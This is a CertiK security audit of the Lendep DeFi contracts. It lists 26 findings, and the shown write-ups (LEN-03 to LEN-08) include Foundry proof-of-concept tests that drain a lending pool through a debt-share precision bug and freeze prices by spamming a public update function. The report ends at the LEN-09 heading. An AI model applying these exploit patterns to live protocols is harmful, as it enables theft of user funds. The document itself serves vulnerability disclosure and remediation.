Lendep

Security Assessment

CertiK Assessed on Nov 3rd, 2025

CertiK Assessed on Nov 3rd, 2025

Lendep

The security assessment was prepared by CertiK.

Executive Summary

TYPES	ECOSYSTEM	METHODS
DeFi	Ethereum (ETH)	Formal Verification, Manual Review, Static Analysis

LANGUAGE	TIMELINE
Solidity	Preliminary comments published on 10/25/2025 Final report published on 11/04/2025

Vulnerability Summary

26	22	0	4	0
Total Findings	Resolved	Partially Resolved	Acknowledged	Declined

1	Centralization	1 Acknowledged	Centralization findings highlight privileged roles & functions and their capabilities, or instances where the project takes custody of users' assets.
1	Critical	1 Resolved	Critical risks are those that impact the safe functioning of a platform and must be addressed before launch. Users should not invest in any project with outstanding critical risks.
7	Major	7 Resolved	Major risks may include logical errors that, under specific circumstances, could result in fund losses or loss of project control.
4	Medium	4 Resolved	Medium risks may not pose a direct risk to users' funds, but they can affect the overall functioning of a platform.
6	Minor	5 Resolved, 1 Acknowledged	Minor risks can be any of the above, but on a smaller scale. They generally do not compromise the overall integrity of the project, but they may be less efficient than other solutions.
7	Informational	5 Resolved, 2 Acknowledged	Informational errors are often recommendations to improve the style of the code or certain operations to fall within industry best practices. They usually do not affect the overall functioning of the code.

TABLE OF CONTENTS | LENDEP

CODEBASE | LENDEP

Repository

https://github.com/lendep/contracts/tree/13e5340d28867de301518f1f179def209eb2e1a7

AUDIT SCOPE | LENDEP

lendep/contracts
MasterChef.sol
LendingProtocol.sol
PowerToken.sol
powerShop.sol
MineToken.sol

APPROACH & METHODS | LENDEP

This audit was conducted for Lendep to evaluate the security and correctness of the smart contracts associated with the Lendep project. The assessment included a comprehensive review of the in-scope smart contracts. The audit was performed using a combination of Static Analysis, Formal Verification, and Manual Review.

The review process emphasized the following areas:

- Architecture review and threat modeling to understand systemic risks and identify design-level flaws.
- Identification of vulnerabilities through both common and edge-case attack vectors.
- Manual verification of contract logic to ensure alignment with intended design and business requirements.
- Dynamic testing to validate runtime behavior and assess execution risks.
- Assessment of code quality and maintainability, including adherence to current best practices and industry standards.

The audit resulted in findings categorized across multiple severity levels, from informational to critical. To enhance the project's security and long-term robustness, we recommend addressing the identified issues and considering the following general improvements:

- Improve code readability and maintainability by adopting a clean architectural pattern and modular design.
- Strengthen testing coverage, including unit and integration tests for key functionalities and edge cases.
- Maintain meaningful inline comments and documentations.
- Implement clear and transparent documentation for privileged roles and sensitive protocol operations.
- Regularly review and simulate contract behavior against newly emerging attack vectors.

FINDINGS | LENDEP

26	1	1	7	4	6	7
Total Findings	Critical	Centralization	Major	Medium	Minor	Informational

This report has been prepared for Lendep to identify potential vulnerabilities and security issues within the reviewed codebase. During the course of the audit, a total of 26 issues were identified. Leveraging a combination of Static Analysis, Formal Verification & Manual Review the following findings were uncovered:

ID	Title	Category	Severity	Status
LEN-03	Incorrect Debt Share Calculation Allows Over-Borrowing	Incorrect Calculation	Critical	Resolved
LEN-04	**Centralization Related Risks**	**Centralization**	**Centralization**	**Acknowledged**
LEN-05	Zero LP Interest Due To Precision Error	Incorrect Calculation	Major	Resolved
LEN-06	Power Token Decimals Handling	Incorrect Calculation	Major	Resolved
LEN-07	Incorrect Refund Balance Calculation	Incorrect Calculation	Major	Resolved
LEN-08	Public `updatePrice` Function Allows Price Manipulation	Logical Issue	Major	Resolved
LEN-09	Overstatement Of LP Interest	Incorrect Calculation	Major	Resolved
LEN-12	Creator Can Permanently Brick A Pool	Logical Issue	Major	Resolved
LEN-26	Double Subtraction Of Invitation Rewards Reduces User's Earnings	Logical Issue	Major	Resolved
LEN-10	Missing Stale Price Check	Logical Issue	Medium	Resolved
LEN-11	Missing Bad Debt Handling Logic	Logical Issue	Medium	Resolved

ID	Title	Category	Severity	Status
LEN-13	LP Interest Accrues For Periods With Zero Debt	Logical Issue	Medium	Resolved
LEN-14	Insufficient Balance Preservation In PowerShop	Logical Issue	Medium	Resolved
LEN-15	Get LP Value Returns Wrong Decimals	Incorrect Calculation	Minor	Resolved
LEN-16	Incorrect Self Invitation Check	Logical Issue	Minor	Resolved
LEN-17	Halving Not Applied When Update Pools	Logical Issue	Minor	Acknowledged
LEN-18	Potential Underflow In `currentRewardPerInterval` Function	Logical Issue	Minor	Resolved
LEN-20	`getLPAPY()` Calculates Incorrect LP Return Rate	Incorrect Calculation	Minor	Resolved
LEN-23	Health Factor Is Scaled Twice	Incorrect Calculation	Minor	Resolved
LEN-01	Incomplete Collateral Liquidation Allows User To Withdraw Remaining Collateral	Design Issue	Informational	Resolved
LEN-02	Long `HALVING_INTERVAL`	Design Issue	Informational	Acknowledged
LEN-19	Incompatibility With Fee-On-Transfer Tokens	Design Issue	Informational	Resolved
LEN-21	Missing Validation In `emergencyWithdraw`	Inconsistency	Informational	Resolved
LEN-22	Redundant `updatePoolAllocPointManually()`	Coding Style	Informational	Resolved
LEN-24	Missing Error Messages	Coding Style	Informational	Acknowledged
LEN-29	Typo	Coding Style	Informational	Resolved

LEN-03 | Incorrect Debt Share Calculation Allows Over-Borrowing

Category	Severity	Location	Status
Incorrect Calculation	Critical	LendingProtocol.sol: 231, 599	Resolved

Description

The `LendingProtocol::borrow` and `LendingProtocol::_updateUserDebt` functions incorrectly apply precision scaling when calculating debt shares, resulting in users receiving more debt shares than they should. This discrepancy allows attackers to borrow USDT amounts that exceed their collateral value, ultimately enabling them to drain the LP pool.

In the `borrow` function, when calculating the number of debt shares to mint, the code incorrectly applies a precision adjustment:

```
231  uint256 sharesToAdd = (amount * (1e18 / usdtPrecision)) /
232      getCurrentAccInterestPerDebt();
```

The issue is with the `(1e18 / usdtPrecision)` factor. Let's trace through the units:

1. `amount` is in USDT precision (e.g., 6 decimals for USDT)
2. `1e18 / usdtPrecision` converts from USDT precision to 18 decimal precision
3. `getCurrentAccInterestPerDebt()` returns a value with 18 decimals

The result is that `sharesToAdd` has incorrect precision, causing a mismatch between:

- The actual debt value tracked by debt shares
- The collateral value calculations used in LTV checks

The LTV check in the `borrow` function compares:

- `collateralValue` (in USDT precision)
- `newDebt` (in USDT precision, calculated by `getCurrentDebt`)

However, because of the incorrect share calculation, the actual debt represented by the debt shares is much smaller than what the LTV check assumes, allowing users to borrow more than their collateral should allow.

The same incorrect calculation exists in the `_updateUserDebt` function when calculating `sharesToRemove`.

Proof of Concept

Attackers can drain the pool by staking collateral and repeatedly re-borrowing:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import "forge-std/Test.sol";
import "../contracts/LendingProtocol.sol";
import {MockERC20} from "./MockERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";

contract LendingProtocolTest is Test {
    using SafeERC20 for IERC20;

    LendingProtocol public lendingProtocol;
    MockERC20 public usdt;
    MockERC20 public collateralToken;

    address public owner = makeAddr("owner");
    address public operator = makeAddr("operator");
    address public user1 = makeAddr("user1");
    address public user2 = makeAddr("user2");
    address public liquidator = makeAddr("liquidator");

    uint256 public constant USDT_PRECISION = 1e6;
    uint256 public constant COLLATERAL_PRECISION = 1e18;
    uint256 public constant INITIAL_COLLATERAL_PRICE = 100e6; // 100 USDT per
collateral token

    function setUp() public {
        vm.startPrank(owner);

        usdt = new MockERC20("USDT", "USDT", 6);
        collateralToken = new MockERC20("Collateral", "COLL", 18);
        lendingProtocol = new LendingProtocol(
            address(usdt),
            USDT_PRECISION,
            address(collateralToken),
            INITIAL_COLLATERAL_PRICE
        );
        lendingProtocol.setOperator(operator);

        // Mint tokens for users
        usdt.mint(user1, 1000000 * USDT_PRECISION);
        usdt.mint(user2, 1000000 * USDT_PRECISION);
        usdt.mint(liquidator, 1000000 * USDT_PRECISION);

        collateralToken.mint(user1, 1000000 * COLLATERAL_PRECISION);
        collateralToken.mint(user2, 1000000 * COLLATERAL_PRECISION);
        collateralToken.mint(liquidator, 1000000 * COLLATERAL_PRECISION);
```

```
        // Approve tokens for the lending protocol
        vm.stopPrank();

        vm.startPrank(user1);
        usdt.approve(address(lendingProtocol), type(uint256).max);
        collateralToken.approve(address(lendingProtocol), type(uint256).max);
        vm.stopPrank();

        vm.startPrank(user2);
        usdt.approve(address(lendingProtocol), type(uint256).max);
        collateralToken.approve(address(lendingProtocol), type(uint256).max);
        vm.stopPrank();

        vm.startPrank(liquidator);
        usdt.approve(address(lendingProtocol), type(uint256).max);
        collateralToken.approve(address(lendingProtocol), type(uint256).max);
        vm.stopPrank();
    }

    function testBorrowingBypassLTV() public {
        // Collateral value: 10 * 100 U, borrowable value: 10 * 100 / 2 U
        vm.startPrank(user1);
        uint256 collateralAmount = 10 * COLLATERAL_PRECISION;
        lendingProtocol.deposit(collateralAmount);
        vm.stopPrank();

        // Deposit USDT to LP pool
        vm.startPrank(user2);
        uint256 lpDepositAmount = 10000 * USDT_PRECISION;
        lendingProtocol.depositUSDT(lpDepositAmount);
        vm.stopPrank();

        // Now borrow 400 U
        vm.startPrank(user1);
        uint256 borrowAmount = 400 * USDT_PRECISION;
        lendingProtocol.borrow(borrowAmount);
        assertEq(usdt.balanceOf(user1), 1000000 * USDT_PRECISION + borrowAmount);

        // Check user position
        (
            ,
            uint256 debtShares,
            uint256 originalDebtPrincipal,

        ) = lendingProtocol.userPositions(user1);

        assertEq(debtShares, 400); // <-- Issue: decimals is 0
        assertEq(originalDebtPrincipal, borrowAmount);
        // Borrow again
```

```
        for(uint256 i = 0; i < 10; i++) {
            lendingProtocol.borrow(borrowAmount);
        }
        assertEq(usdt.balanceOf(user1), 1000000 * USDT_PRECISION + borrowAmount *
11);

        assertEq(lendingProtocol.totalLPUSDT(), lpDepositAmount - borrowAmount *
11);

        vm.stopPrank();
    }
}
```

Recommendation

Remove the incorrect precision scaling factor from both the `borrow` and `_updateUserDebt` functions.

```
(amount * 1e18) / getCurrentAccInterestPerDebt();
```

Alleviation

[Lendep, 10/28/2025]: The team resolved the issue by deleting the `LendingProtocol` contract and opting to use Compound V2 instead in commit 14c5bc92d9dbb0f6ff4e03f7a189fcb36c619f8f.

LEN-04 | Centralization Related Risks

Category	Severity	Location	Status
Centralization	**Centralization**		**Acknowledged**

Description

In the contract `LendingProtocol`, the role `owner` has authority over the following functions. Any compromise to the `owner` account may allow a hacker to take advantage of this authority and

- `setOperator()`: Sets the operator address.
- `updateLtv()`: Updates the loan-to-value ratio.
- `updateLiquidationThreshold()`: Updates the liquidation threshold.
- `updateLiquidationBonus()`: Updates the liquidation bonus.

In the contract `LendingProtocol`, the role `operator` has authority over the following functions. Any compromise to the `operator` account may allow a hacker to take advantage of this authority and

- `updatePrice()`: Updates the collateral token price.
- `updateApr()`: Updates the annual percentage rate.

In the contract `MasterChef`, the role `owner` has authority over the following functions. Any compromise to the `owner` account may allow a hacker to take advantage of this authority and

- `setOperator()`: Sets the operator address who can create pools.
- `setCreatePoolPublic()`: Toggles whether anyone can create a mining pool.
- `setInviteRewardRate()`: Sets the reward rate for inviters.
- `setBurnRate()`: Sets the burn rate threshold for invitation rewards.
- `renounceOwnership()`: Renounces ownership of the contract, which can leave some functions uncallable.
- `transferOwnership()`: Transfers ownership of the contract to a new address.

In the contract `MasterChef`, the role `operator` has authority over the following functions. Any compromise to the `operator` account may allow a hacker to take advantage of this authority and

- `createPoolByOperator()`: Creates a new mining pool for a specified creator.

In the contract `powerShop`, the role `owner` has authority over the following functions. Any compromise to the `owner` account may allow a hacker to take advantage of this authority and

- `setSwapToken()`: Configures a new token that can be used to purchase power tokens.
- `setSwapTokenStatus()`: Enables or disables a specific token for purchasing power tokens.
- `setSwapTokenExchangeRate()`: Sets the exchange rate for a specific token to power tokens.
- `setReceiverAddress()`: Sets the address that will receive the funds from power token purchases.

- `withdrawPayToken()` : Withdraws the collected tokens used for purchases to the receiver address.
- `renounceOwnership()` : Renounces ownership of the contract, which can leave some functions uncallable.
- `transferOwnership()` : Transfers ownership of the contract to a new address.

In the contract `MineShop` , the role `owner` has authority over the following functions. Any compromise to the `owner` account may allow a hacker to take advantage of this authority and

- `setOperator()` : Sets the operator address who can mint new tokens.
- `renounceOwnership()` : Renounces ownership of the contract, which can leave some functions uncallable.
- `transferOwnership()` : Transfers ownership of the contract to a new address.

In the contract `MineShop` , the role `operator` has authority over the following functions. Any compromise to the `operator` account may allow a hacker to take advantage of this authority and

- `mint()` : Mints a specified amount of new tokens and sends them to a given address.

In the contract `PowerToken` , the role `owner` has authority over the following functions. Any compromise to the `owner` account may allow a hacker to take advantage of this authority and

- `setOperator()` : Sets the operator address who can mint new tokens.
- `renounceOwnership()` : Renounces ownership of the contract, which can leave some functions uncallable.
- `transferOwnership()` : Transfers ownership of the contract to a new address.

In the contract `PowerToken` , the role `operator` has authority over the following functions. Any compromise to the `operator` account may allow a hacker to take advantage of this authority and

- `mint()` : Mints a specified amount of new tokens and sends them to a given address.

Recommendation

The risk describes the current project design and potentially makes iterations to improve in the security operation and level of decentralization, which in most cases cannot be resolved entirely at the present stage. We advise the client to carefully manage the privileged account's private key to avoid any potential risks of being hacked. In general, we strongly recommend centralized privileges or roles in the protocol be improved via a decentralized mechanism or smart-contract-based accounts with enhanced security practices, e.g., multisignature wallets.

Indicatively, here are some feasible suggestions that would also mitigate the potential risk at a different level in terms of short-term, long-term and permanent:

Short Term:

Timelock and Multi sign (⅔, ⅗) combination *mitigate* by delaying the sensitive operation and avoiding a single point of key management failure.

- Time-lock with reasonable latency, e.g., 48 hours, for awareness on privileged operations;
  AND

- Assignment of privileged roles to multi-signature wallets to prevent a single point of failure due to the private key compromised;
  AND
- A medium/blog link for sharing the timelock contract and multi-signers addresses information with the public audience.

Long Term:

Timelock and DAO, the combination, *mitigate* by applying decentralization and transparency.

- Time-lock with reasonable latency, e.g., 48 hours, for awareness on privileged operations;
  AND
- Introduction of a DAO/governance/voting module to increase transparency and user involvement.
  AND
- A medium/blog link for sharing the timelock contract, multi-signers addresses, and DAO information with the public audience.

Permanent:

Renouncing the ownership or removing the function can be considered *fully resolved*.

- Renounce the ownership and never claim back the privileged roles.
  OR
- Remove the risky functionality.

Alleviation

[Lendep, 10/29/2025]: The team acknowledged this issue and stated that they will address the issue in the future, which will not be included in this audit engagement.

[CertiK, 10/29/2025]: It is suggested to implement the aforementioned methods to avoid centralized failure. Also, CertiK strongly encourages the project team to periodically revisit the private key security management of all addresses related to centralized roles.

LEN-05 | Zero LP Interest Due To Precision Error

Category	Severity	Location	Status
Incorrect Calculation	Major	LendingProtocol.sol: 624, 705	Resolved

Description

The `LendingProtocol::_updateLPInterest` and `LendingProtocol::getCurrentAccInterestPerLP` functions contain a precision error in the calculation of `lpInterestValue`. The current implementation multiplies `interestAmount` (with USDT precision, e.g., 6 decimals) by `(1e18 / usdtPrecision)`, which results in a value with 18 decimals. However, for mathematical consistency with the addition operation, this value should have 36 decimals to match `currentAccInterestPerLP * totalSupply()`. This precision mismatch leads to extremely small LP interest values that are rounded down to zero.

The issue is in the calculation of `lpInterestValue`:

```
709 uint256 currentTotalDebt = (totalDebtShares *
710     getCurrentAccInterestPerDebt()) / 1e18;
711 uint256 interestRate = (apr * 1e18 * timeElapsed) /
712     (PRECISION * SECONDS_PER_YEAR);
713 uint256 interestAmount = (currentTotalDebt * interestRate) / 1e18;
714
715 if (totalSupply() > 0) {
716     uint256 lpInterestValue = interestAmount *
717         (1e18 / usdtPrecision);
718     accInterestPerLP =
719         (accInterestPerLP *
720             totalSupply() +
721             lpInterestValue) /
722         totalSupply();
723 }
```

Let's analyze the decimal precision:

1. `currentTotalDebt` has USDT precision (e.g., 6 decimals when `usdtPrecision = 1e6`)
2. `interestRate` has 18 decimals
3. `interestAmount` has USDT precision (6 decimals) because it's calculated as `(currentTotalDebt * interestRate) / 1e18`
4. `accInterestPerLP` has 18 decimals
5. `totalSupply()` has 18 decimals
6. Therefore, `accInterestPerLP * totalSupply()` has 36 decimals
7. For the addition `accInterestPerLP * totalSupply() + lpInterestValue` to be mathematically correct, `lpInterestValue` must also have 36 decimals

However, the current calculation of `lpInterestValue`:

```
uint256 lpInterestValue = interestAmount * (1e18 / usdtPrecision);
```

Results in a value with only 18 decimals:

- `interestAmount` has 6 decimals
- `(1e18 / usdtPrecision)` has 12 decimals when `usdtPrecision = 1e6`
- Product has 6 + 12 = 18 decimals

This means `lpInterestValue` is 18 orders of magnitude smaller than it should be compared to `accInterestPerLP * totalSupply()`. When added together, the interest is rounded down to zero during interest calculation.

Proof of Concept

LP provider (user2) deposits USDT for 360 days but earns zero USD:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import "forge-std/Test.sol";
import "../contracts/LendingProtocol.sol";
import {MockERC20} from "./MockERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";

contract LendingProtocolTest is Test {
    using SafeERC20 for IERC20;

    LendingProtocol public lendingProtocol;
    MockERC20 public usdt;
    MockERC20 public collateralToken;

    address public owner = makeAddr("owner");
    address public operator = makeAddr("operator");
    address public user1 = makeAddr("user1");
    address public user2 = makeAddr("user2");
    address public liquidator = makeAddr("liquidator");

    uint256 public constant USDT_PRECISION = 1e6;
    uint256 public constant COLLATERAL_PRECISION = 1e18;
    uint256 public constant INITIAL_COLLATERAL_PRICE = 100e6; // 100 USDT per
collateral token

    function setUp() public {
        vm.startPrank(owner);

        usdt = new MockERC20("USDT", "USDT", 6);
        collateralToken = new MockERC20("Collateral", "COLL", 18);
        lendingProtocol = new LendingProtocol(
            address(usdt),
            USDT_PRECISION,
            address(collateralToken),
            INITIAL_COLLATERAL_PRICE
        );
        lendingProtocol.setOperator(operator);

        // Mint tokens for users
        usdt.mint(user1, 1000000 * USDT_PRECISION);
        usdt.mint(user2, 1000000 * USDT_PRECISION);
        usdt.mint(liquidator, 1000000 * USDT_PRECISION);

        collateralToken.mint(user1, 1000000 * COLLATERAL_PRECISION);
        collateralToken.mint(user2, 1000000 * COLLATERAL_PRECISION);
        collateralToken.mint(liquidator, 1000000 * COLLATERAL_PRECISION);
```

```
        // Approve tokens for the lending protocol
        vm.stopPrank();

        vm.startPrank(user1);
        usdt.approve(address(lendingProtocol), type(uint256).max);
        collateralToken.approve(address(lendingProtocol), type(uint256).max);
        vm.stopPrank();

        vm.startPrank(user2);
        usdt.approve(address(lendingProtocol), type(uint256).max);
        collateralToken.approve(address(lendingProtocol), type(uint256).max);
        vm.stopPrank();

        vm.startPrank(liquidator);
        usdt.approve(address(lendingProtocol), type(uint256).max);
        collateralToken.approve(address(lendingProtocol), type(uint256).max);
        vm.stopPrank();
    }

    function testDeposit2Earn() public {
        // First deposit collateral
        vm.startPrank(user1);
        uint256 collateralAmount = 1000 * COLLATERAL_PRECISION;
        lendingProtocol.deposit(collateralAmount);
        vm.stopPrank();

        // Deposit USDT to LP pool
        vm.startPrank(user2);
        uint256 lpDepositAmount = 10000 * USDT_PRECISION;
        lendingProtocol.depositUSDT(lpDepositAmount);
        vm.stopPrank();

        // Now borrow
        vm.startPrank(user1);
        uint256 borrowAmount = 5000 * USDT_PRECISION;
        lendingProtocol.borrow(borrowAmount);

        uint lpValueBefore = lendingProtocol.getUserLPValue(user2);
        skip(360 days);
        uint lpValueAfter = lendingProtocol.getUserLPValue(user2);

        assertGt(lpValueAfter / 1e12, lpValueBefore / 1e12); // <-- Issue: assert
fails, user2 earns 0 interest
        vm.stopPrank();
    }
}
```

Recommendation

It is recommended to fix the precision calculation in both `_updateLPInterest` and `getCurrentAccInterestPerLP` functions by changing the calculation of `lpInterestValue` :

```
uint256 lpInterestValue = interestAmount * 1e18 * (1e18 / usdtPrecision);
```

Alleviation

[Lendep, 10/28/2025]: The team resolved the issue by deleting the `LendingProtocol` contract and opting to use Compound V2 instead in commit 14c5bc92d9dbb0f6ff4e03f7a189fcb36c619f8f.

LEN-06 | Power Token Decimals Handling

Category	Severity	Location	Status
Incorrect Calculation	Major	PowerToken.sol: 911, 940, 964	Resolved

Description

The `PowerToken` contract inherits from OpenZeppelin's ERC20 implementation, which uses 18 decimals by default. However, the calculations in `deposit()` and `withdrawPower()` functions do not properly account for these decimals.

In the `deposit()` function, the calculation for `tokensToBuy` is:

```
911  uint256 tokensToBuy = (payAmount *
912      swapTokenInfo.powerPerPrice *
913
    swapTokenInfo.exchangeRate) / (10000 * swapTokenInfo.tokenDecimals); // 每USDT可
兑换算力
```

This calculation correctly considers the decimals of the payment token but fails to convert the result to 18 decimals for the PowerToken. As a result, when PowerTokens are minted, they use the incorrectly scaled value.

Similarly, in the `withdrawPower()` function, the refund amount is calculated as:

```
940  uint256 refundAmount = (powerAmount *
941      swapTokenInfo.tokenDecimals *
942      10000) / (swapTokenInfo.exchangeRate * swapTokenInfo.powerPerPrice);
```

This calculation doesn't normalize the `powerAmount` from 18 decimals back to the appropriate scale for the payment token, leading to incorrect refund amounts.

The `withdrawPayToken()` has the same issue when calculating `totalRefundBalance`.

Proof of Concept

The user pays 1000 U, and only receives 10000 Wei power tokens:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../contracts/powerShop.sol";
import {MockERC20} from "./MockERC20.sol";

contract PowerShopTest is Test {
    PowerToken public powerToken;
    powerShop public shop;
    MockERC20 public usdt;

    address public owner = address(this);
    address public user1 = makeAddr("user1");
    address public user2 = makeAddr("user2");
    address public receiver = makeAddr("receiver");

    uint256 public constant INITIAL_PRICE = 1000; // 0.1 power per token
    uint256 public constant EXCHANGE_RATE = 100; // 1:100 ratio
    uint256 public constant PRICE_DENOMINATOR = 10000;

    function setUp() public {
        powerToken = new PowerToken();
        shop = new powerShop(address(powerToken));
        usdt = new MockERC20("Tether USD", "USDT", 6); // USDT has 6 decimals

        usdt.mint(user1, 1000000 * 10**6);
        usdt.mint(user2, 1000000 * 10**6);

        powerToken.setOperator(address(shop));
        shop.setReceiverAddress(receiver);
        shop.setSwapToken(
            address(usdt),
            INITIAL_PRICE,
            EXCHANGE_RATE,
            block.timestamp
        );
    }

    function testDeposit2ReceivePower() public {
        uint256 depositAmount = 1000 * 10**6; // 1000 USDT
        uint256 expectedPower = (depositAmount * INITIAL_PRICE * EXCHANGE_RATE) *
1e18 / (10000 * 10**6);

        vm.startPrank(user1);
        usdt.approve(address(shop), depositAmount);
        shop.deposit(depositAmount, address(usdt));
        vm.stopPrank();
```

```
        // Check balances
        assertEq(usdt.balanceOf(address(shop)), depositAmount);
        assertEq(powerToken.balanceOf(user1), expectedPower / 1e18); // <-- Issue:
User only receives 10000 power
        assertEq(powerToken.balanceOf(user1), expectedPower); // <-- Assert fails
    }
}
```

Recommendation

The `exchangeRate` could be scaled to 10^{18} within the `_setSwapToken` function to fix this issue. Alternatively, the calculation in the affected functions could be adjusted to account for a 10^{18} factor.

Alleviation

[Lendep, 10/28/2025]: The team resolved the issue by choosing not to use the `PowerToken` contract and deleting it in commit 14c5bc92d9dbb0f6ff4e03f7a189fcb36c619f8f.

LEN-07 | Incorrect Refund Balance Calculation

Category	Severity	Location	Status
Incorrect Calculation	Major	powerShop.sol: 964	Resolved

Description

The `powerShop::withdrawPayToken()` function preserves `totalRefundBalance` payment tokens for user withdrawal, but incorrectly calculates the `totalRefundBalance` by not accounting for the `exchangeRate` and the `PRICE_DENOMINATOR` (10000) used in the `powerPerPrice` scaling. This causes:

- If the preserved balance is larger than required, it prevents the owner to withdraw any profits.
- If the preserved balance is smaller than required, the owner withdraws the excess profits, preventing the users to withdraw payment tokens.

In contrast, the `withdrawPower()` function uses a `PRICE_DENOMINATOR` to scale the `powerPerPrice` values for precision and uses `exchangeRate` for the power conversion. However, in the `withdrawPayToken()` function, the calculation of `totalRefundBalance` omits this denominator:

```
964  uint256 totalRefundBalance = (((swapTokenInfo.totalPower *
965      swapTokenInfo.tokenDecimals) / swapTokenInfo.powerPerPrice) * 997) /
966      1000;
```

Proof of Concept

With below contract configuration, the owner cannot withdraw any profits after 360 days:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../lib/forge-std/src/Test.sol";
import "../contracts/powerShop.sol";
import {MockERC20} from "./MockERC20.sol";

contract PowerShopTest is Test {
    PowerToken public powerToken;
    powerShop public shop;
    MockERC20 public usdt;

    address public owner = address(this);
    address public user1 = makeAddr("user1");
    address public user2 = makeAddr("user2");
    address public receiver = makeAddr("receiver");

    uint256 public constant INITIAL_PRICE = 1000; // 0.1 power per token
    uint256 public constant EXCHANGE_RATE = 100; // 1:100 ratio
    uint256 public constant PRICE_DENOMINATOR = 10000e18;

    function setUp() public {
        powerToken = new PowerToken();
        shop = new powerShop(address(powerToken));
        usdt = new MockERC20("Tether USD", "USDT", 6); // USDT has 6 decimals

        usdt.mint(user1, 1000000 * 10**6);
        usdt.mint(user2, 1000000 * 10**6);

        powerToken.setOperator(address(shop));
        shop.setReceiverAddress(receiver);
        shop.setSwapToken(
            address(usdt),
            INITIAL_PRICE,
            EXCHANGE_RATE,
            block.timestamp
        );
    }

    function testWithdrawPayToken() public {
        uint256 depositAmount = 1000 * 10**6;

        // User1 deposits 1000 USDT
        vm.startPrank(user1);
        usdt.approve(address(shop), depositAmount);
        shop.deposit(depositAmount, address(usdt));
        vm.stopPrank();
```

```
        (uint256 priceBefore,,,,,) = shop.supportedSwapToken(address(usdt));
        vm.warp(block.timestamp + 360 days);
        shop.updatePrice(address(usdt));
        (uint256 priceAfter,,,,,) = shop.supportedSwapToken(address(usdt));
        assertGt(priceAfter, priceBefore);

        // Owner calls withdrawPayToken
        vm.expectEmit(true, true, false, false);
        emit powerShop.PayTokenWithdrawn(address(usdt), shop.tokenReceiver(), 0); //
<-- Issue: not emit PayTokenWithdrawn
        shop.withdrawPayToken(address(usdt));
        assertGt(usdt.balanceOf(shop.tokenReceiver()), 0);
    }
}
```

Recommendation

It is recommended to include the `PRICE_DENOMINATOR` and `exchangeRate` in the `totalRefundBalance` calculation.

Alleviation

[Lendep, 10/28/2025]: The team resolved the issue by choosing not to use the `powerShop` contract and deleting it in commit 14c5bc92d9dbb0f6ff4e03f7a189fcb36c619f8f.

LEN-08 | Public `updatePrice` Function Allows Price Manipulation

Category	Severity	Location	Status
Logical Issue	Major	powerShop.sol: 872	Resolved

Description

The `powerShop::updatePrice` function is publicly accessible and designed to increase token prices over time. However, an attacker can repeatedly call this function to prevent any price increase by ensuring the calculation for price increment always results in zero due to integer division truncation.

The vulnerability stems from the combination of integer division and the unconditional update of `lastPriceUpdateTime`.

1. The calculation for `delta` is:

```
delta = (powerPerPrice * priceIncreasePerDay * elapsed) / (PRICE_DENOMINATOR * 86400)
```

With `PRICE_DENOMINATOR = 10000` and `86400` seconds in a day, the denominator is `864,000,000`. When the numerator is smaller than this value, the result is truncated to zero.

2. The `lastPriceUpdateTime` is updated when `updatePrice` is called in different blocks:

```
function updatePrice(address payToken) public {
    if (block.timestamp <= supportedSwapToken[payToken].lastPriceUpdateTime)
        return;
    ...
    supportedSwapToken[payToken].lastPriceUpdateTime = block.timestamp;
}
```

An attacker can exploit this by calling `updatePrice` frequently (e.g., every block), ensuring that `elapsed` is always small enough that the numerator never reaches the denominator, keeping `delta` at zero. While the price doesn't increase, the `lastPriceUpdateTime` is still updated to the current timestamp, effectively resetting the clock for the next calculation.

Proof of Concept

An attacker is able to manipulate the `powerPerPrice` variable, keeping its value constant over a period of multiple days, by frequently invoking the `updatePrice` function:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../contracts/powerShop.sol";

contract PowerShopUpdatePriceTest is Test {
    PowerToken public powerToken;
    powerShop public shop;
    MockERC20 public usdt;

    address public owner = address(this);
    address public receiver = makeAddr("receiver");

    uint256 public constant INITIAL_PRICE = 1000; // 0.1 power per token
    uint256 public constant EXCHANGE_RATE = 100; // 1:100 ratio
    uint256 public constant PRICE_DENOMINATOR = 10000;

    function setUp() public {
        powerToken = new PowerToken();
        shop = new powerShop(address(powerToken));
        usdt = new MockERC20("Tether USD", "USDT", 6);

        powerToken.setOperator(address(shop));
        shop.setReceiverAddress(receiver);
        shop.setSwapToken(
            address(usdt),
            INITIAL_PRICE,
            EXCHANGE_RATE,
            block.timestamp
        );
    }

    function test_updatePrice_canBeManipulated() public {
        (uint256 initialPrice,,,,,) = shop.supportedSwapToken(address(usdt));

        // Attacker calls updatePrice every 12 seconds for 3 days
        uint256 attackerInterval = 12 seconds;
        uint256 attackDuration = 3 days;

        for (uint256 i = 0; i < attackDuration / attackerInterval; i++) {
            vm.warp(block.timestamp + attackerInterval);
            shop.updatePrice(address(usdt));
        }

        (uint256 finalPrice,,,,,) = shop.supportedSwapToken(address(usdt));

        // The price should not have increased because the delta is always 0
```

```
        assertEq(finalPrice, initialPrice, "Price should not increase with frequent
updates");
    }
}

contract MockERC20 is ERC20 {
    uint8 private _decimals;

    constructor(
        string memory name,
        string memory symbol,
        uint8 decimals_
    ) ERC20(name, symbol) {
        _decimals = decimals_;
    }

    function mint(address to, uint256 amount) public {
        _mint(to, amount);
    }

    function decimals() public view override returns (uint8) {
        return _decimals;
    }
}
```

Recommendation

Consider only updating `lastPriceUpdateTime` and emitting `PriceUpdated` event when `delta > 0`.

```
if (delta > 0) {
    supportedSwapToken[payToken].powerPerPrice += delta;
    supportedSwapToken[payToken].lastPriceUpdateTime = block.timestamp;
    emit PriceUpdated(payToken, supportedSwapToken[payToken].powerPerPrice);
}
```

Alleviation

[Lendep, 10/31/2025]: The team heeded the advice and resolved the issue by updating `lastPriceUpdateTime` whenever the price changes in commit 7bde416c1774777bd3c315871928d48cb9f06f57

LEN-09 | Overstatement Of LP Interest

Category	Severity	Location	Status
Incorrect Calculation	Major	LendingProtocol.sol: 624, 705	Resolved

Description

